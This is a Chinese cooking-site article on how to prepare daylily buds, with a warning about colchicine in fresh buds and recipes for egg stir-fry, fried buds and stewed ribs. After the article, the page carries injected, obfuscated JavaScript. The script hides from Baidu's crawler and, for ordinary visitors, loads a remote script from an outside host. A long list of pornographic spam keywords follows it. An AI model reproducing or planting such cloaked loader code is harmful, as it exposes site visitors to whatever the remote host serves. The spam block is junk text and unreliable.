當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

黃花菜怎么做好吃?黃花菜的吃法

2013-02-23 14:20:52  來源:360常識網  作者:廚房竅門     熱度:
導語:黃花菜是人們喜吃的一種傳統蔬菜。因其花瓣肥厚,色澤金黃,香味濃郁,食之清香、鮮嫩,爽滑同木耳、草菇,營養價值高,被視作席上珍品。那

黃花菜是人們喜吃的一種傳統蔬菜。因其花瓣肥厚,色澤金黃,香味濃郁,食之清香、鮮嫩,爽滑同木耳、草菇,營養價值高,被視作“席上珍品”。那么,黃花菜怎么做好吃呢?

黃花菜怎么做好吃?黃花菜的吃法
黃花菜怎么做好吃?黃花菜的吃法

黃花菜的制作技巧

1、新鮮黃花菜中含有秋水仙堿,可造成胃腸道中毒癥狀,故不能生食,須加工曬干,吃之前先用開水焯一下,再用涼水浸泡2小時以上,食用時火力要大,徹底加熱,每次食量不宜過多。

2、金針菜適用于涼拌(應先焯熟)、炒、汆湯或做配料。

3、不宜單獨炒食,應配其他食料。

4、另外應選用冷水發制的較好。

黃花菜的做法

黃花菜炒雞蛋

材料:雞蛋200克,黃花菜150克,蔥20克,姜15克,香油5克。

做法:

1、黃花菜用水泡透,泡透后把有根的地方去掉一點,然后對切一半,不嫌長的話也可以不切的。

2、雞蛋打入碗里,加點鹽,攪拌均勻。

3、鍋中底油,有熱倒入雞蛋液攤開,就好開小火,時間不要長,15秒這樣就行了,不然蛋會焦掉的。

4、倒入黃花菜翻炒幾下,然后稍微加點水。

5、加水之后就加點鹽,稍微一點糖,幾點醋,淋一些香油,蓋蓋子悶1分鐘這樣。

6、起鍋之前加點蔥花就可以了。

炸鮮黃花菜

材料:鮮黃花菜200克,雞蛋1個,花生油、精鹽、面粉、料酒、濕淀粉、花椒鹽各適量。

做法:

1、鮮黃花菜擇洗干凈,放入沸水中稍燙,撈出,控凈水分,撒上少許精鹽略腌。

2、雞蛋打入碗內,朝一個方向攪至起沫,加面粉、料酒、鹽、濕淀粉調成糊。

3、炒鍋置火上,加入花生油,燒至七成熱,將黃花菜掛糊放入,炸至金黃發酥時撈出,控凈油,擺在盤中,撒上花椒鹽即成。

排骨燉黃花菜

材料:排骨250克,黃花菜干100克,蔥花適量。

做法:

1、排骨焯水洗凈,黃花菜水發洗凈備用。

2、將排骨、黃花菜放入砂鍋,加入適量的水、適量的生姜片開大火。

3、鍋開后轉入小火,加入適量的黃酒繼續燉。

4、大約燉1.5小時,菜熟肉爛加入適量的鹽、味精、胡椒粉及蔥花即可。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品国产亚洲精品看不卡| 久久亚洲欧美国产精品| 国产人妖系列在线精品| 久久精品人人做人人妻人人玩| sss视频在线精品| 免费精品国产自产拍在 | 久久精品*5在热| 香蕉99久久国产综合精品宅男自| 91精品国产高清久久久久久国产嫩草 | 亚洲精品自在在线观看| 成人99国产精品| 日本尤物精品视频在线看| 国产午夜精品一区二区三区 | 羞羞色院91精品网站| 国产 精品 自在 线| 久久精品中文字幕无码绿巨人| 久久中文精品无码中文字幕| 国产精品老熟女露脸视频| 国产三级精品三级在专区中文| 久久99国产精品久久99| 人人妻人人做人人爽精品| 99久久精品国产第一页| 51精品视频免费国产专区| 久久91亚洲精品中文字幕| 少妇伦子伦精品无吗| 亚洲第一区精品观看| 成人免费无码精品国产电影| 精品深夜AV无码一区二区老年| 91精品久久国产青草| 久久精品一区二区| 97视频在线观看这里只有精品| 午夜在线视频91精品| 国产伦精品一区二区| 精品无码久久久久久久久水蜜桃| 99视频精品全部在线观看| 91精品国产亚洲爽啪在线观看| 国产成人精品视频一区二区不卡 | 亚洲中文久久精品无码1| 久久久久久久99精品免费| 久久777国产线看观看精品| 国产一区麻豆剧传媒果冻精品 |